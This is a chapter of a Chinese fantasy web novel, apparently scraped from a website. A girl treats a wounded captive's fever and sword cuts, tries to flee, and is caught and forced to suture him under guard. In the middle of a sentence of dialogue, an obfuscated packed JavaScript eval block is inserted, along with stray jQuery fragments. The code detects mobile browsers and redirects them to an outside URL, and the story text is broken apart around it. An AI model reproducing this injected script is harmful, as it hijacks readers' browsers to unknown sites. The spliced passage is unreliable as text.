8. 昏迷

作品:《长溪不渡

    亏自己一开始还以为他也是不幸被绑来的,结果搞了半天他们才是一伙。


    ……也不对啊,泽久长溪扪心自问,自己着实算不得多突出,需要这么多人合起伙演戏来蒙骗她?


    泽久长溪仔细端详了一下百部文元,才发现他呼吸很重,露出衣服外面的手上还有伤。


    泽久长溪试探性地朝他额头探了探,烧得厉害。


    “喂。”泽久长溪戳戳他,“你别装睡了啊,这里现在就我们两个人。”


    百部文元没有回应,看来是真的病得不轻,泽久长溪思索片刻,虽然自己不懂什么医术,但乌蛇做的药总不会害人,因此还是决定给他治一下试试。想着,从自己的锦囊里找出一瓶退烧药,继续自言自语:“你要是再不醒,我可要给你喂药了啊,别到时候再血口喷人,说我要害你。”


    依旧无人回应,泽久长溪坐到床边,抬起百部文元的头,撬开嘴把药给他服下,又将他放了回去,顺便将那只搭在被子外面的手也替他收回了被子。


    泽久长溪端来椅子在一旁观察着,过了一会,百部文元的呼吸开始平缓起来,这点泽久长溪完全不意外,她随身带的药都是乌蛇大人亲自调配的,真是让这神族小子捡到便宜了。


    百忙之中保住了这人的小命,泽久长溪还是决定把精力移回重点上,她得找到出去的路。


    窗户上检查了个遍,天花板上会不会有出路?


    泽久长溪回到床边搬椅子,想把椅子垒到桌子上。结果回来的时候发现百部文元呼吸又加重了,饶是她这种只将医术学了些皮毛的人,也能听出来这十分不对劲。


    怎么会?泽久长溪想不明白,乌蛇医术极好,配的药不可能反而加重病情。


    泽久长溪端详着百部文元的脸看了好一会,又是探额头,又是试鼻息,急得满头大汗,让她随便喂点药还行,这治病救人,对症下药,她怎么开得出来?


    死马当活马医了,泽久长溪咬咬牙,还是先把脉吧!


    说试就试,泽久长溪伸手把百部文元的手拉出被子,下一秒吓得弹起来几米高。


    百部文元的衣袖口有干涸的血迹,泽久长溪把他袖子往上撸了一截,想要把脉,谁知摸到了胳膊上黏腻的血液,整得泽久长溪毛骨悚然,这都流到袖口了,这得失了多少血啊?


    泽久长溪连忙掀开他的被子,百部文元身上的衣服被人换了一身,也难怪刚刚她没看出异样,不过现在显得更触目惊心了,大片大片血迹在白衣上晕染,像一朵又一朵牡丹花。


    得赶快处理伤口,好在是外伤,用不上泽久长溪多少药理知识。泽久长溪一股脑将药瓶子全部倒出来,找到了止血的药剂和绷带。


    泽久长溪替他将上衣解开,几乎全是刀伤,伤口触目惊心,泽久长溪严重怀疑自己手上的绷带和止血药顶不了什么事,这得缝合伤口了吧?


    可是她手里没有缝合线,再说她也不会这么需要技术含量的工艺……


    “呃啊……”百部文元口中传来几声闷哼,眉头紧锁,看起来很痛苦。


    ……泽久长溪看了看手上的止血药和绷带,且试试吧,这人各有命,治不好也不能怪她吧。


    泽久长溪忙活了好一阵,止血药都是往多了倒,可是绷带刚系上就又染红了,果然理想是丰满的,现实是骨感的。还是得要缝线才行啊。


    要不试着去求求门外的人?虽然不知道百部文元目前究竟是个什么情况,但是能独自享有一个房子,还有人服侍,他们总不应该是希望他死了吧?


    泽久长溪冲到门口,打开房门,夜幕不知何时已经悄然降临,外面守着的那两人竟不见了踪影。


    ……那此时情况变了,现在是要逃命的事情了,至于那个神族人,他对自己又没有恩情,刚才只是被关在屋里,闲得没事,只得救救人命罢了。而且神族人素来欺行霸市,对妖族人随意对待,说不定她不救他,也是在在为民除害呢。


    思及至此,泽久长溪不再多犹豫,拔腿就跑。


    踏过草坪时发出了声响,没跑几步,背后有声音响起:“什么人?站住!”


    泽久长溪才不管那么多,加快脚步,闪身躲进屋子后边。


    “你去那边,我走这边。”后面的人小声吩咐。


    泽久长溪围着屋后,顾着身后,踩着碎步小心移动。两人分开之后很快没了声响,泽久长溪舒了口气,准备好生研究研究出路。


    正高兴着,一回神,一把匕首不知何时横在了她的脖颈,一个眉眼锋利的女子出现在她的眼前,恶狠狠地说道:“说你呢。鬼鬼祟祟地做什么?”


    “……”泽久长溪吓得一激灵,虽不知这女子为何人,但能自由走动,且主动捉贼,必是这里有权的。此时那神族人就派上用场了,泽久长溪连忙,“大…大人,我就是出来找线。但是没看见人,就四处走走、找找。”


    “你找线做什么?”女子问道。


    “我……”泽久长溪犹豫着这事该不该讲,毕竟这些人也没给百部文元找医生,但又给了他一间不错的屋子,他们究竟是想让活还是想他死?


    “嗯?”女自见泽久长溪犹豫,刀又近了一分。


    “等等!我说我说!”泽久长溪连忙说道,刚才也真是糊涂了,一个神族人而已,她在这犹豫个什么劲啊?“屋子里有个人,身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193075|181111||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上全是刀伤,我给他清理了创口,上了止血药也没用,伤口得缝合,但是我没有线,这不就……出来找找……”


    “……你要什么线?”女子放下匕首,问道。


    “那种比较细的,比较硬挺的线,不容易感染……”


    “……”女子沉吟片刻,“鱼线?这个可以吗?”


    “可以可以!”泽久长溪连忙点头,“那您给我,我去处理就好。”


    得快点甩掉这群人……


    “不行。”女子似乎看穿了她的心思,“你去缝针,我得看着你。”


    行吧行吧,话已至此,今晚的逃跑大计得告一段落了,泽久长溪只得老老实实领着这女子回屋。


    屋内,女子死死盯着泽久长溪,泽久长溪看看手里的鱼线和针,一个头两个大……她只见乌蛇缝过,自己却从未手操过,这下有人盯着,她更做不好了……


    “那个……我手术的时候,不方便人看着……”


    “你刚才……是想逃跑吧?”女子威胁道。


    “做做做,我这就做。”泽久长溪硬着头皮,按照记忆中乌蛇的手法,缝合了伤口,没有麻药,估计很疼,百部文元的眉头越皱越深,缝完伤口,泽久长溪额头上已然满头大汗。


    “缝、缝完了……”泽久长溪甩甩手,小心翼翼地看着女子。


    女子看了一眼缝合的伤口,而后上上下下扫视了泽久长溪一番,起先眼睛落在泽久长溪脖颈上,后来又落在了手腕上:“记得在手腕上咬个伤口。”


    说完,抬步便要离开。


    泽久长溪跟上一步:“为什么?”


    女子停下脚步,似乎是有些不解地打量了一番泽久长溪,此时屋子忽然走进来一名男子:“诶!我找你半天了,你怎么在这?你抓到那人了?”


    “就是她。”女子说道,“她在找东西。她叫什么名字?”


    “她?”男子也上下打量了泽久长溪一番,“哦,她是新来的。”


    “原来如此,”女子神情稍微缓和了些许,“就说你为什么在这用药救人,原来是当真无知。”


    女子正欲多说,门外隐约传来了吵闹是声音:“我们要先走了,你快在你手腕上咬个血印子,明日有机会再来同你解释。”


    两人很快离开,吵闹声也更近了,泽久长溪犹豫片刻,还是决定相信那两人,狠狠在手腕上咬了个血印子。然后搬来凳子坐到床边,用手撑着头,闭着眼,装作一直在这守着的样子。


    大门砰地一下被踢开,一个男子风风火火地闯了进来,人还未到,酒气已经先冲进了泽久长溪的鼻腔。


    那人开口道:“还装呢?”